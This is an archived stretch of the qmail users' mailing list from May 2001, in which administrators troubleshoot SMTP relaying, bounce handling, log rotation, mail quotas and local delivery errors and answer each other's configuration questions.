Re: authenticate Roaming Users

2001-05-16 Thread Clemens Hermann

Am 15.05.2001 um 13:06:16 schrieb Tony Vickers:

Hi Tony,

 What is the most practical way to allow users to rely mail after they
 authenticate? 

either one of the smtp-auth patches from qmail.org or without patching
smtp-after-pop (I recommend relay-ctrl from Bruce Guenter).

/ch



Empty Mail From: command

2001-05-16 Thread Denis Gasparin

Hi,
what is the syntax of badmailfrom to block senders that issue empty MAIL 
FROM: commands? I've tried @ or empty line but didn't worked...
I have read past in the mailing list that there is a problem with bouncing 
messages in blocking mails with empty senders... but i haven't understand 
why...
Can anybody give me an answer?

Thank you in advance,
Denis




Re: Make multilog rotate according to time?

2001-05-16 Thread Ralph Hackl

Now that was at http://www.superscript.com/patches/intro.html . A multilog
Patch!!It works fine. You can give multilog a HUP i.a with a cron job.

-rh

--
--
Ralph Hackl  |
CANCOM Computersysteme GmbH  |   L I N U X   .~.
A-8042 Graz, Koeglerweg 50, Austria  |  The  Choice  /V\
phone:  +43 (0)316 4006 20 (fax -4)  |   of a  GNU  /( )\
e-mail: [EMAIL PROTECTED]|  Generation  ^^-^^





--
Von: Mike Jackson [EMAIL PROTECTED]
An: [EMAIL PROTECTED]
Betreff: Make multilog rotate according to time?
Datum: Die, 15. Mai 2001 18:32 Uhr


 Hi,
  I would like to use qmailanalog to make a daily report that will get
 mailed to the local administrative staff. I would like to have the
 reports include exactly 24 hours of activity. I thought that the easiest
 way to do this is to have multilog start a new log file at 0.00 every
 day, but couldn't figure out how to do it. I have looked at the multilog
 source and man page, and it seems to only rotate logs based on size. How
 are you guys doing this?

  Please cc me also with your reply.

 Regards,
 Mike
 



Re: Make multilog rotate according to time?

2001-05-16 Thread Ismail YENIGUL



hi
for daily report you can use isoqlog  log analyzer at
http://www.enderunix.org/isoqlog

byye
On Wed, 16 May 2001, Ralph Hackl wrote:

 Now that was at http://www.superscript.com/patches/intro.html . A multilog
 Patch!!It works fine. You can give multilog a HUP i.a with a cron job.

 -rh

 --
 --
 Ralph Hackl  |
 CANCOM Computersysteme GmbH  |   L I N U X   .~.
 A-8042 Graz, Koeglerweg 50, Austria  |  The  Choice  /V\
 phone:  +43 (0)316 4006 20 (fax -4)  |   of a  GNU  /( )\
 e-mail: [EMAIL PROTECTED]|  Generation  ^^-^^





 --
 Von: Mike Jackson [EMAIL PROTECTED]
 An: [EMAIL PROTECTED]
 Betreff: Make multilog rotate according to time?
 Datum: Die, 15. Mai 2001 18:32 Uhr
 

  Hi,
   I would like to use qmailanalog to make a daily report that will get
  mailed to the local administrative staff. I would like to have the
  reports include exactly 24 hours of activity. I thought that the easiest
  way to do this is to have multilog start a new log file at 0.00 every
  day, but couldn't figure out how to do it. I have looked at the multilog
  source and man page, and it seems to only rotate logs based on size. How
  are you guys doing this?
 
   Please cc me also with your reply.
 
  Regards,
  Mike
 





Unsubscribe Me

2001-05-16 Thread Ceasur






Qmail can't varify user

2001-05-16 Thread liu zhi




Hello everyone
After I installed Qmail on RedHat 6.2.I encountered 
follow problem.

1 On localhost: I type telnet localhost 25.and type 
"EHLO username"
and Qmail suspent to reply.and I type "quit",but it 
doen't work,no response.
[liuzhi@www liuzhi]$ telnet localhost 
25Trying 127.0.0.1...Connected to localhost.localdomain.Escape 
character is '^]'.EHLO 
liuzhieixtquitquitquitquit220 www3.imaginechina.com 
ESMTP250-www3.imaginechina.com250-PIPELINING250 8BITMIME502 
unimplemented (#5.5.1)502 unimplemented (#5.5.1)221 
www3.imaginechina.comConnection closed by foreign host.
It seems that it was very slow.

2 On another machine:
[liuzhi@WebServ liuzhi]$ telnet 
90.0.0.100 25Trying 90.0.0.100...Connected to 90.0.0.100.Escape 
character is '^]'.220 www3.imaginechina.com ESMTPEHLO 
WebServ250-www3.imaginechina.com250-PIPELINING250 8BITMIMEMAIL 
FROM:liuzhi@[90.0.0.3]250 okRCPT TO:aaa@[90.0.0.100]250 
okDATA354 go aheadasdfasd.250 ok 989996419 qp 
9848quit221 www3.imaginechina.comConnection closed by foreign 
host.[liuzhi@WebServ liuzhi]$ telnet 90.0.0.100 25Trying 
90.0.0.100...Connected to 90.0.0.100.Escape character is '^]'.220 
www3.imaginechina.com ESMTPEHLO 
WebServ250-www3.imaginechina.com250-PIPELINING250 8BITMIMEMail 
from:liuzhi@[90.0.0.3] 250 okRCPT to:liuzhi@[90.0.0.100]250 
okDATA354 go aheadasdfasdf.250 ok 989996500 qp 
14789quit221 www3.imaginechina.comConnection closed by foreign 
host.
PS:liuzhi is a real user.aaa is a false user on 
90.0.0.100.
It seems that the Qmail can't varify users on the 
system.
Can you help me.Thanks a 
lot.


Unsubscribe Me

2001-05-16 Thread Jasonk






Help me:Qmail can't receive mail

2001-05-16 Thread liu zhi



Now I can use outlook express to use qmail server to send mail 
to other server.
But I can't receive mail.
Who can tell me why


Re: Qmail can't varify user

2001-05-16 Thread Roberto Marzialetti

Hi

 Connection closed by foreign host.

it seems that your qmail-smptd not running up.

i had your same problem.

my solution was been to add in inetd.conf this line

smtp  stream  tcp nowait  qmaild/var/qmail/bin/tcp-env   tcp-env
/var/qmail/bin/qmail-smtpd

you can start qmail-smtp by tcpserver too

hope this help

rob




Re: Empty Mail From: command

2001-05-16 Thread Frank Tegtmeyer

Denis Gasparin [EMAIL PROTECTED] writes:

   what is the syntax of badmailfrom to block senders that issue empty MAIL 
FROM: commands? 

You don't have to block the empty envelope sender. It's used for
bounce messages. You and your users want to know if something goes
wrong, don't you?

   I have read past in the mailing list that there is a problem with bouncing 
messages in
 blocking mails with empty senders... but i haven't understand why...

If you never get a bounce message you will never realize that your
mails don't reach their destination.
Additionally you will be the enemy of the admins who will get the
double bounces instead. When a bounce is not deliverable it goes to
an administrative account of the sending mailserver.

Regards, Frank



Re: Qmail can't varify user

2001-05-16 Thread Frank Tegtmeyer

liu zhi [EMAIL PROTECTED] writes:

 It seems that the Qmail can't varify users on the system.

You were already advised to read the docs. Why don't you do it?
Qmails qmail-smtpd has no idea about local users.

Frank



Re: Help me:Qmail can't receive mail

2001-05-16 Thread Peter van Dijk

On Wed, May 16, 2001 at 04:56:38PM +0800, liu zhi wrote:
 Now I can use outlook express to use qmail server to send mail to other server.
 But I can't receive mail.
 Who can tell me why

The documentation can tell you why, as 2 other people have pointed out
to you on the log-list already.

Greetz, Peter.



Re: Empty Mail From: command

2001-05-16 Thread Denis Gasparin

Ok, now I have understood the problem...
Thank you very much,
Denis

At 10.52 16/05/01, Frank Tegtmeyer wrote:
Denis Gasparin [EMAIL PROTECTED] writes:

what is the syntax of badmailfrom to block senders that issue 
 empty MAIL FROM: commands?

You don't have to block the empty envelope sender. It's used for
bounce messages. You and your users want to know if something goes
wrong, don't you?

I have read past in the mailing list that there is a problem with 
 bouncing messages in
  blocking mails with empty senders... but i haven't understand why...

If you never get a bounce message you will never realize that your
mails don't reach their destination.
Additionally you will be the enemy of the admins who will get the
double bounces instead. When a bounce is not deliverable it goes to
an administrative account of the sending mailserver.

Regards, Frank




qmail Digest 16 May 2001 10:00:00 -0000 Issue 1366

2001-05-16 Thread qmail-digest-help


qmail Digest 16 May 2001 10:00:00 - Issue 1366

Topics (messages 62482 through 62546):

quota setting
62482 by: Jati
62483 by: Tim

Re: virtualdomains
62484 by: Roberto Marzialetti
62494 by: Frank Tegtmeyer

What's the meaning of did_1+0+0
62485 by: Gustav-Martin Olsen
62486 by: Peter van Dijk
62487 by: Chris Bolt
62489 by: Peter van Dijk
62490 by: Gustav-Martin Olsen
62525 by: Chris Bolt

Re: OT - Problems with daemontools 0.70
62488 by: Felix von Leitner
62499 by: Michael Geier
62505 by: Michael Geier
62508 by: Henning Brauer
62509 by: Frank Tegtmeyer
62510 by: Robin S. Socha
62514 by: schoon.amgt.com
62519 by: Hubbard, David
62523 by: Jeremy Suo-Anttila
62527 by: Uwe Ohse
62528 by: Uwe Ohse
62532 by: Stefaan A Eeckels

Re: Who is List Manager
62491 by: Jason Kawaja
62495 by: Frank Tegtmeyer

Emtpying mailqueue
62492 by: henrik.troeng.ekakan.com
62513 by: Charles Cazabon
62521 by: Magnus Bodin

Re: Handling high volume lists
62493 by: Dave Sill

Qmail/Ldap and the dash trick
62496 by: Manuel de Ferran
62498 by: Henning Brauer

problem
62497 by: colette tostivint
62501 by: Dave Sill

Re: Using IP tables
62500 by: Remo Mattei
62503 by: Hubbard, David

Login SMTP Errors
62502 by: Christopher Tarricone
62506 by: Greg White
62507 by: Frank Tegtmeyer

Re: Using vchkpw (vpopmail) with qmail-pop3d?
62504 by: Dave Sill

delivering problem
62511 by: Oscar Rodriguez Rodriguez
62516 by: Greg White
62517 by: Mads.E.Eilertsen.hist.no

apology for my lapse in judgement
62512 by: Michael Geier

Make multilog rotate according to time?
62515 by: Mike Jackson
62536 by: Ralph Hackl
62537 by: Ismail YENIGUL

Re: Qpopper and Qmail logging
62518 by: Tim Hunter
62531 by: Chad Owens

Qmailqueue Patch and 451 error
62520 by: Pawul, Rudy

Re: tcpserver blues
62522 by: Chris Ochap
62529 by: Patrick Starrenburg

Another logging question
62524 by: Dean Staff

authenticate Roaming Users
62526 by: Tony Vickers
62534 by: Clemens Hermann

qmail-send to use rcpthosts
62530 by: Richard Roderick

qmail bounce patch help
62533 by: Santosh Pasi

Empty Mail From: command
62535 by: Denis Gasparin
62543 by: Frank Tegtmeyer
62546 by: Denis Gasparin

Unsubscribe Me
62538 by: Ceasur
62540 by: Jasonk

Qmail can't varify user
62539 by: liu zhi
62542 by: Roberto Marzialetti
62544 by: Frank Tegtmeyer

Help me:Qmail can't receive mail
62541 by: liu zhi
62545 by: Peter van Dijk

Administrivia:

To unsubscribe from the digest, e-mail:
[EMAIL PROTECTED]

To subscribe to the digest, e-mail:
[EMAIL PROTECTED]

To bug my human owner, e-mail:
[EMAIL PROTECTED]

To post to the list, e-mail:
[EMAIL PROTECTED]


--






Could you help me how to :
-setquota for each user
-block receiving mail if : used space + size 
of incoming mail = 5MB

Until this time i've used this 
rules:

|if [ `du |tail -1|awk '{print $1}'` -ge `cat 
../../mailquota-limit` ] ; then /var/qmail/bin/bouncesaying "User quota 
exceeded" ; fi


Best Regards

Klateno



Use vdelivermail (part of vpopmail at http://www.inter7.com/qmail) or
maildrop (http://courier.sourceforge.net)

I am assuming that you are running under single UID, of course.

Tim

On Tue, May 15, 2001 at 10:07:45AM -, Jati wrote:
 
 Could you help me how to :
  -set quota for each user
  -block receiving mail if : used space + size of incoming mail = 5MB
 
 Until this time i've used this rules :
 
 |if [ `du |tail -1|awk '{print $1}'` -ge `cat ../../mailquota-limit` ] ; then 
/var/qmail/bin/bouncesaying User quota exceeded ; fi
 
 
 Best Regards
 
 Klateno




 So you learned an important lesson: if you expect help give real data,

thaks for lesson :o)   i'm a newbie of this ml

  the real domain in inmagine.net  
 
 So the mail exchanger is:
 10 phoenix.marcheonline.net (IP: 195.191.36.57)
 
 Is that what you expect?

ye !

but the email not arrived :o(
i maybe must configurate something on qmail
about dns ?
i try (thanks Barry Hill :o))  to put 
inmagine.net:phoenix.marcheonline.net  
in /var/qmail/control/smtproutes

 You may even use nslookup.

i don't have this tool !  i have a slack 7.0
i must install nslookup to make qmail work ?
i don't think...

thanks for patience :o)

Roberto





Roberto Marzialetti [EMAIL PROTECTED] writes:

  10 phoenix.marcheonline.net (IP: 195.191.36.57)
  
  Is that what you expect?
 
 ye !
 
 but the email not arrived :o(

You have no SMTP server running:

$ 

RE: Help me:Qmail can't receive mail

2001-05-16 Thread daiyuwen

You should install qmail-pop3d.  Have you installed it?

- Original Message -
From:liu zhi [EMAIL PROTECTED]
To:[EMAIL PROTECTED]
Subject:Help me:Qmail can't receive mail
Date:Wed, 16 May 2001 16:56:38 +0800
 DIV
 DIVFONT size=2Now I can use outlook express to use qmail server to send mail 
 to other server./FONT/DIV
 DIVFONT size=2But I can't receive mail./FONT/DIV
 DIVFONT size=2Who can tell me why/FONT/DIV
 
 /DIV

__

===
ÐÂÀËÃâ·Ñµç×ÓÓÊÏä (http://mail.sina.com.cn)
ÐÂÀËÍø¡ÖØÍƳöÊÖ»ú¶ÌÐŶ¥¼¶ÐÂÎÅ·þÎñ (http://sms.sina.com.cn/topnews)
Ñ°ÕÒÐÂÏÊ, Ó®¿ÆÁú±ùÏä! 
(http://ad.doubleclick.net/clk;2847753;5579344;y?http://gd.sina.com.cn/ad/kelon)



Re: Qmail can't varify user

2001-05-16 Thread Ruprecht Helms

Hi,

You were already advised to read the docs.

That's a standardtext.

Qmails qmail-smtpd has no idea about local users.

That's right. A programm itself is not so intelligent to find what
the user mean, but for that are the configfiles.

I'm sure you can define the delivery for localdomains / -host in a file
under /var/qmail/control. The mailaccounts will be handle in a databasefile 
of qmail. For translating the /etc/passwd into the plaintext-userfile there 
is mentioned the command in the lwq. You should
edit the plaintextfile if not all unixuser should have a qmail-mailaccount.

Regards,
Ruprecht





ezmlm fails test

2001-05-16 Thread RC

It's been awhile since I've been able to try this again, but the last 
time I tried the test as per the ezmlm install instructions, I ended 
up with this message in __TSTDIR__err:
ezmlm-send: fatal: temporary qmail-queue error: unable to exec qq (#4.3.0)

as far as I know, qmail is working correctly [except that root mail 
is getting delivered to alias, and I can't stop it].  I'm able to 
send and recieve mail fine.  I looked around and couldn't really find 
anything about this error, but again, it's been awhile, so I'm not 
sure how 'in depth' my search may have been.

Anybody have any suggestions on where to look to fix this?
-- 

=--=
   -.c.-

My mistress when she walks treads on the ground.



Unsubscribe Me

2001-05-16 Thread Aleixo Fernandes




Unsubscribe 


Re: OT: where are you from

2001-05-16 Thread Claudio Nieder

Hi,

 what does .to stand for, as in [EMAIL PROTECTED]?

http://www.iana.org/cctld/cctld-whois.htm

claudio
-- 
Claudio Nieder, Kanalweg 1, CH-8610 Uster, Tel +41 79 357 6743
yahoo messenger: claudionieder aim: claudionieder icq:42315212
mailto:[EMAIL PROTECTED]http://www.claudio.ch



Re: delivering problem

2001-05-16 Thread K. F. Yim



Make sure the Maildir directory under the user 
oscar's home directory is 600. You can create Maildir directory for user oscar 
by a) su to oscar and b) cd~ and run /var/qmai/bin/maildirmake 
Maildir.

K. F. Yim

  - Original Message - 
  From: 
  Oscar 
  Rodriguez Rodriguez 
  To: [EMAIL PROTECTED] 
  Sent: Wednesday, May 16, 2001 12:35 
  AM
  Subject: delivering problem
  Hi 
  AllI 
  apologise for my inglish. I am new to this mailing list and to qmail. I am 
  having problem with qmail, I just install qmail as explaine David Sill's in 
  her book "Life With Qmail" but qmail do not 
  deliver the messages to the local users and I saw an error in the log 
  file like this:... starting delivery 1: msd ## to local 
  [EMAIL PROTECTED] delivery 1: deferral: 
  Uh-oh:_home_directory_is_writeble._(#4.7.0) ...Please I need some 
  helposcar
  ---Oscar Rodriguez RodriguezServicios Informáticos 
  Guantánamoe-mail: [EMAIL PROTECTED] 


Re: Qmail can't varify user

2001-05-16 Thread Uwe Ohse

On Wed, May 16, 2001 at 07:57:18PM +0800, liu zhi wrote:

 I installed Qmail use liuzhi.
 and I use liuzhi to receive .qmail-root .qmail-mail-deamon .qmail-postmaster
 But After I installed.
 Everyone except luizhi can't receive mail.

please clarify what you did. _Exactly_. Including the relevant 
configuration information. Including log-entries.
And what does I installed Qmail use liuzhi mean?


 PS:I use /var/spool/maili/files to receive mail.

Did you rename /var/spool/mail to /var/spool/maili or is this
just a typo?


please observe mail-followup-to, the log mailing list is
not the right place.

Regards, Uwe



Re: Qmail can't varify user

2001-05-16 Thread liu zhi



- Original Message - 
From: Uwe Ohse [EMAIL PROTECTED]
To: liu zhi [EMAIL PROTECTED]; [EMAIL PROTECTED]; [EMAIL PROTECTED]
Sent: Wednesday, May 16, 2001 9:17 PM
Subject: Re: Qmail can't varify 
user
 On Wed, May 16, 2001 at 07:57:18PM 
+0800, liu zhi wrote:   I installed Qmail use 
liuzhi.  and I use liuzhi to receive .qmail-root .qmail-mail-deamon 
.qmail-postmaster  But After I installed.  Everyone 
except luizhi can't receive mail.
I make a mistake.
I means "Every one can receive mail 
except liuzhi.";

  please clarify what you did. _Exactly_. Including the 
relevant  configuration information. Including log-entries. And 
what does "I installed Qmail use liuzhi" mean?I 
configured with ./configure-fast myDomainName
and I use /var/qmail/boot/proc(Mail 
format:/var/spool/mail/username)
as /var/qmail/rc
so the log file is /var/log/maillog
and I tail the log file.It say that message send 
successfully.
But I can't receive mail from 
/var/spool/mail/liuzhi

"I installed Qmail use liuzhi" is that I put the source 
tree under 
/home/liuzhi/Qmail.

PS:I use /var/spool/maili/files to receive 
mail.  Did you rename /var/spool/mail to /var/spool/maili or is 
this just a typo?
I don't rename the /var/spool/mail
And other user can receive their mail 
successfully
Such as /var/spool/mail/zan
After I type "echo 
to:zan|/var/qmail/bin/qmail-inject"
zan can receive the mail immediately 
  please observe mail-followup-to, the log mailing list 
is not the right place.  Regards, 
Uwe


RE: OT: where are you from

2001-05-16 Thread Joshua Nichols

 
  what does .to stand for, as in [EMAIL PROTECTED]?

 The island of Tonga.

This could be a redundant reminder to many, but a few years back, Tonga
realized that the four-or-so computers on their entire island did not really
warrant a great need for domains.  Hence, their governtment decided to start
selling the somewhat attractive .to domain.  I vaguely remember a follow up
story in which they were able to pay off millions of dollars of debt to
other countries from the proceeds of such sales.

So, while a foo.to domain /could/ actually be from Tonga, chances are it
belongs to some clever americans (go.to, iwant.to, etc).


--joshua.


DISCLAIMER: The use of hyperbole in this email should not be construed as
any form of disrespect being shown or felt toward the people or government
of Tonga.  ;)




RE: OT: where are you from

2001-05-16 Thread Bill Andersen

D.J. Bernstein is big into Cryptography - using key encryption for
private/secure email, etc.   His domain choice cr.yp.to is crypto
without the dots - AFAIK, he is actually in the USA.  Based on his
web site http://cr.yp.to, I would assume in the Chicago area.

Bill




On Wed, May 16, 2001 at 09:33:46AM +0300, Martín Marqués wrote:
 Off Topic, but not so much.

 what does .to stand for, as in [EMAIL PROTECTED]?

The island of Tonga.

djb uses cr.yp.to only because it looks good and is easy to remember,
however. He's not (AFAIK :) related to anybody in Tonga.

Greetz, Peter.




Re: OT: where are you from

2001-05-16 Thread Peter van Dijk

On Wed, May 16, 2001 at 09:41:06AM -0400, Joshua Nichols wrote:
  
   what does .to stand for, as in [EMAIL PROTECTED]?
 
  The island of Tonga.
 
 This could be a redundant reminder to many, but a few years back, Tonga
 realized that the four-or-so computers on their entire island did not really
 warrant a great need for domains.  Hence, their governtment decided to start
 selling the somewhat attractive .to domain.  I vaguely remember a follow up
 story in which they were able to pay off millions of dollars of debt to
 other countries from the proceeds of such sales.
 
 So, while a foo.to domain /could/ actually be from Tonga, chances are it
 belongs to some clever americans (go.to, iwant.to, etc).

go.to belongs to some clever Dutch guys :)

And we're getting way offtopic here :)

Greetz, Peter.



Can't stop open relay

2001-05-16 Thread John Kuhn

I've managed compile and setup Qmail along with courier thanks to the
fabulous docs and howto's on it.. but I'm running into a fairly serious
problem here..

some background
I run a Debian box behind a DSL router on a NAT setup which works as a local
mail server for my office.. some are allowed acsess to send outer office
email and some are restricted to inner office only

the problem
it's seems no matter what I put in /etc/tcp.smtp anyone can relay mail off
my server it will not deny anyone I've taken everything out besides the
localhost address and recompiled with tcprules

127.0.0.1:allow,RELAYCLIENT=
:allow

compile it.. restart qmail.. and it's still an open relay.. people from any
network can bounce email off me.. the only way I can stop it is to add my
domain to /var/qmail/rcpthosts which will then bounce any email not sent to
my domain.

I also start qmail with this line

/usr/bin/tcpserver -- \
-u `id -u qmaild` -R -g `id -g nobody` -x /etc/tcp.smtp.cdb 0
smtp \
/usr/sbin/qmail-smtpd 21 | $logger -t qmail -p mail.notice 

the only thing I added here was the -R to shut off ident service (thanks to
the million people on this mailing list to answer that for me :)

thanks to anyone with some insite on this..

John Kuhn





Re: OT: where are you from

2001-05-16 Thread Bruno Wolff III

 djb uses cr.yp.to only because it looks good and is easy to remember,
 however. He's not (AFAIK :) related to anybody in Tonga.

.to domains are not controlled by NSI, which some of us perceive as being
a big benefit. I also like their no spamming policy.

The only thing I don't like, is that I can't set the ttl's down for their glue
records. I have had to make some IP address changes where I lost the old IP
address at the same time I got the new one and requests to the old IP address
were potentially going to happen for a day after the switch. I sent them
a comment about having them change their change form to allow a particular
time for an update to occur and to use tinydns's time to die feature
to make the transition smooth, but I never heard back from them. This is
something that home DSL users are likely to want and they may not have a
lot of them.



Re: ezmlm fails test

2001-05-16 Thread dan . kelley


are you using the OMAILQUEUE patch or otherwise messing with 
/var/qmail/bin/qmail-queue?  

the error message is pretty descriptive: check the permissions on the binary, 
make sure it's there, etc.

On Wednesday 16 May 2001 06:15, you wrote:
 It's been awhile since I've been able to try this again, but the last
 time I tried the test as per the ezmlm install instructions, I ended
 up with this message in __TSTDIR__err:
 ezmlm-send: fatal: temporary qmail-queue error: unable to exec qq (#4.3.0)

 as far as I know, qmail is working correctly [except that root mail
 is getting delivered to alias, and I can't stop it].  I'm able to
 send and recieve mail fine.  I looked around and couldn't really find
 anything about this error, but again, it's been awhile, so I'm not
 sure how 'in depth' my search may have been.

 Anybody have any suggestions on where to look to fix this?



#5.1.1

2001-05-16 Thread Tom Beer

Hi,

I'll try, as you guess, setting up qmail. The archives and
the man pages et al doesn't work out...
The problem I'm facing is that I can't sent mails
to local users. The permissions and the link from
/var/spool/mail are correct (no group and world permission).
Sometimes Dave wrote:

What that message means is that the local recipient is not a valid
address. That can happen if the recipient:

  - is not a user  NO
  - has the UID 0 NO
  - doesn't own their home directory NO
  - has a home directory that isn't visible to user qmailp NO
  - has a username containing uppercase characters NO
  - has a username longer than 32 characters NO
  - isn't handled by an alias or catch-all .qmail file in ~alias 
If I put user tom-qmail file in alias I get an
This_message_is_looping:_it_already_has_my_Delivered-To_line._(#5.4.6)]
If I remove that alias I get the following in /var/log/qmail/current
snip
@40003aab87ae2bab487c status: exiting
@40003aab87b31f767b44 status: local 0/10 remote 0/20
@40003aab8ce2342a54fc new msg 224638
@40003aab8ce2342a9b4c info msg 224638: bytes 204 from
[EMAIL PROTECTED] qp 16101 uid 0
@40003aab8ce2373ef79c starting delivery 1: msg 224638 to local
[EMAIL PROTECTED]
@40003aab8ce2373f45bc status: local 1/10 remote 0/20
@40003aab8ce23ab75d4c delivery 1: failure:
Sorry,_no_mailbox_here_by_that_name._(#5.1.1)/
@40003aab8ce23afb347c status: local 0/10 remote 0/20
@40003aab8ce23b94d884 bounce msg 224638 qp 16104
@40003aab8ce23b97265c end msg 224638
@40003aab8ce303d233ec new msg 224641

snip

Thanks for any help Tom

 





Re: ezmlm fails test

2001-05-16 Thread Charles Cazabon

RC [EMAIL PROTECTED] wrote:
 It's been awhile since I've been able to try this again, but the last 
 time I tried the test as per the ezmlm install instructions, I ended 
 up with this message in __TSTDIR__err:
 ezmlm-send: fatal: temporary qmail-queue error: unable to exec qq (#4.3.0)

Check the ownership and permissions of /var/qmail/bin/qmail-queue.  It should
be very close to:

-rws--x--x   1 qmailq   qmail   14596 Jan 29 15:01 qmail-queue

Can you send mail normally (i.e., not through ezmlm)?  Does incoming mail
work?  What's in the logs?

If you're on Solaris, and you're using ezmlm-idx (as opposed to vanilla
ezmlm), a patch is needed for some versions of ezmlm-idx.

 as far as I know, qmail is working correctly [except that root mail 
 is getting delivered to alias, and I can't stop it].

What's in the file ~alias/.qmail-root ?

Charles
-- 
---
Charles Cazabon[EMAIL PROTECTED]
GPL'ed software available at:  http://www.qcc.sk.ca/~charlesc/software/
Any opinions expressed are just that -- my opinions.
---



Re: Empty Mail From: command

2001-05-16 Thread Bruno Wolff III

On Wed, May 16, 2001 at 10:52:57AM +0200,
  Frank Tegtmeyer [EMAIL PROTECTED] wrote:
 
 Additionally you will be the enemy of the admins who will get the
 double bounces instead. When a bounce is not deliverable it goes to
 an administrative account of the sending mailserver.

This is something that badmailfrom is good for. While blocking spammers
should be done by IP address, blocking messages that don't provide envelope
sender addresses that will accept bounce messages is best done by domain
name.

I am currently blocking myrealbox.com because they do this. I got some
double bounces from bad mailing list commands (instead of the person
who sent the bad commands) that pointed out the problem.



Re: Can't stop open relay

2001-05-16 Thread Charles Cazabon

John Kuhn [EMAIL PROTECTED] wrote:
 
 the problem
 it's seems no matter what I put in /etc/tcp.smtp anyone can relay mail off
 my server it will not deny anyone I've taken everything out besides the
 localhost address and recompiled with tcprules
 
 127.0.0.1:allow,RELAYCLIENT=
 :allow

Do you have a /var/qmail/control/rcpthosts file?  What's in it?  Post the
complete, unedited output of `qmail-showctl`.

Charles
-- 
---
Charles Cazabon[EMAIL PROTECTED]
GPL'ed software available at:  http://www.qcc.sk.ca/~charlesc/software/
Any opinions expressed are just that -- my opinions.
---



cann't run test.deliver

2001-05-16 Thread eddy

aloo, i've installed qmail on rh 6.2 , and i've run it under
/var/qmail/rc.d and it shows status like this

status: local 0/10 remote 0/20

and i've tried test.deliver and it work but when i tried telnet a.b.c.d 25
 a.b.c.d = my ip number) it shows error msg

Escape character is '^]'.
Connection closed by foreign host.

can somebody help me plz

Regards,


Eddy




Footers

2001-05-16 Thread James Peacock

Any ideas on how to apend footers to all outgoing mail, I have seen some
solutions using cat to append a message, but this will not work with
multipart messages, so is there a definitive solution?

James Peacock.




Digest list available?

2001-05-16 Thread tonix (Antonio Nati)


Sorry to question something that probably has been already asked...

Would it be possible to setup a digest for this mailing list?

Tonino




Re: Can't stop open relay

2001-05-16 Thread John Kuhn

 How did you follow docs without having your domain in rcpthosts?
 It -should- be there.

I worded that incorrectly.. it was in there..

 The fact that it wasn't there caused your open relay behavior.

 AFTER you add your domain to rcpthosts, add your networks back
 into /etc/tcp.smtp with the RELAYCLIENT envrionment variable set.

can you explain this.. the docs state that by default qmail will not relay
to anyone not in /etc/tcp.smtp

but it does.. all I have is my localhost line in /etc/tcp.smtp.. now if I
try to send from another network the mail server should respond with this
server does not allow relaying to this host or something similar.. it
doesn't, it just relays..

now that I do have my domain into rcpthosts it is the only way it will stop
the open relay behavior because the server responds with domain not in my
rcpthosts which is fine because I can bypass this with adding people to my
tcp.smtp file

this is how it's supposed to work?

 This is -definitely- in the docs.

sorry I did read the docs and just needed something cleared up

thanks for the reply
John Kuhn




Re: #5.1.1

2001-05-16 Thread Charles Cazabon

Tom Beer [EMAIL PROTECTED] wrote:

 If I put user tom-qmail file in alias I get an
 This_message_is_looping:_it_already_has_my_Delivered-To_line._(#5.4.6)]

You're trying to forward a message (via a .qmail directive) in a loop.  i.e.,
tom's .qmail file forwards to tom.  Stop doing this.  Put in local delivery
instructions (Maildir or mbox delivery lines).  `man dot-qmail` for details.

Charles
-- 
---
Charles Cazabon[EMAIL PROTECTED]
GPL'ed software available at:  http://www.qcc.sk.ca/~charlesc/software/
Any opinions expressed are just that -- my opinions.
---



Re: Can't stop open relay

2001-05-16 Thread Greg White

On Wed, May 16, 2001 at 10:03:50AM -0400, John Kuhn wrote:
 I've managed compile and setup Qmail along with courier thanks to the
 fabulous docs and howto's on it.. but I'm running into a fairly serious
 problem here..

I suspect that you haven't really read them too well...
 
 the problem
 it's seems no matter what I put in /etc/tcp.smtp anyone can relay mail off
 my server it will not deny anyone I've taken everything out besides the
 localhost address and recompiled with tcprules
 
 127.0.0.1:allow,RELAYCLIENT=
 :allow
 
 compile it.. restart qmail.. and it's still an open relay.. people from any
 network can bounce email off me.. the only way I can stop it is to add my
 domain to /var/qmail/rcpthosts which will then bounce any email not sent to
 my domain.


Can you tell us why, precisely, populating rcpthosts is a problem? That
is the way it is supposed to be configured. From 'man qmail-smtpd':

   rcpthosts
   
 Allowed  RCPT  domains.   If  rcpthosts  is supplied,
 qmail-smtpd  will  reject  any   envelope
 recipient address with a domain not listed in rcpthosts.

 Exception: If the environment variable RELAYCLIENT is set,
 qmail-smtpd will ignore rcpthosts, and will append the value
 of RELAYCLIENT to each incoming recipient address.


You _must_ populate rcpthosts.

P.S. If the documents you have read do not state that populating
rcpthosts is a requirement, please point them out to me, or the list, so
that I/we can tell the whole world to stay away from them.

-- 
Greg White
Those who make peaceful revolution impossible will make violent
revolution inevitable.
-- John F. Kennedy



Re: #5.1.1

2001-05-16 Thread Roberto Marzialetti

Hi,

 @40003aab8ce2373ef79c starting delivery 1: msg 224638 to local
 [EMAIL PROTECTED]
 @40003aab8ce23ab75d4c delivery 1: failure:
 Sorry,_no_mailbox_here_by_that_name._(#5.1.1)/

well, you must have .qmail-tom in root directory
man -M /var/qmail/man dot-qmail

Rob




Re: Footers

2001-05-16 Thread Charles Cazabon

James Peacock [EMAIL PROTECTED] wrote:
 Any ideas on how to apend footers to all outgoing mail, I have seen some
 solutions using cat to append a message, but this will not work with
 multipart messages, so is there a definitive solution?

It's been discussed many times on the list.  I seem to recall most of these
discussions ending with a note that multipart messages would be difficult to
handle; you'd have to write a program (in Perl, Python, etc) to disassemble
the messages, determine which part(s) to add the footer to, reassemble the
messages, and pass them on from there.  Of course, you also have to be careful
not to modify signed/encrypted parts, etc.

Charles
-- 
---
Charles Cazabon[EMAIL PROTECTED]
GPL'ed software available at:  http://www.qcc.sk.ca/~charlesc/software/
Any opinions expressed are just that -- my opinions.
---



Re: Footers

2001-05-16 Thread Magnus Bodin

On Wed, May 16, 2001 at 03:28:15PM +0100, James Peacock wrote:

 Any ideas on how to apend footers to all outgoing mail, I have seen some
 solutions using cat to append a message, but this will not work with
 multipart messages, so is there a definitive solution?

The definitive solution is to DISSECT the multipart mail
and then mogrify each text part that needs to be manipulated
and then RECOMPOSE the MIME-construction.

Not a very nice work to do. To the users, to the mailservers, to yourself.

Doing it as a part of the mailclient is another history.

/magnus

--
::..   Magnus Bodin
..   http://x42.com/
. 
teoaislnrhmdcpg,f0ywv.1:k2b?5368/x+-




Re: cann't run test.deliver

2001-05-16 Thread Roberto Marzialetti

 and i've tried test.deliver and it work but when i tried telnet a.b.c.d 25
  a.b.c.d = my ip number) it shows error msg
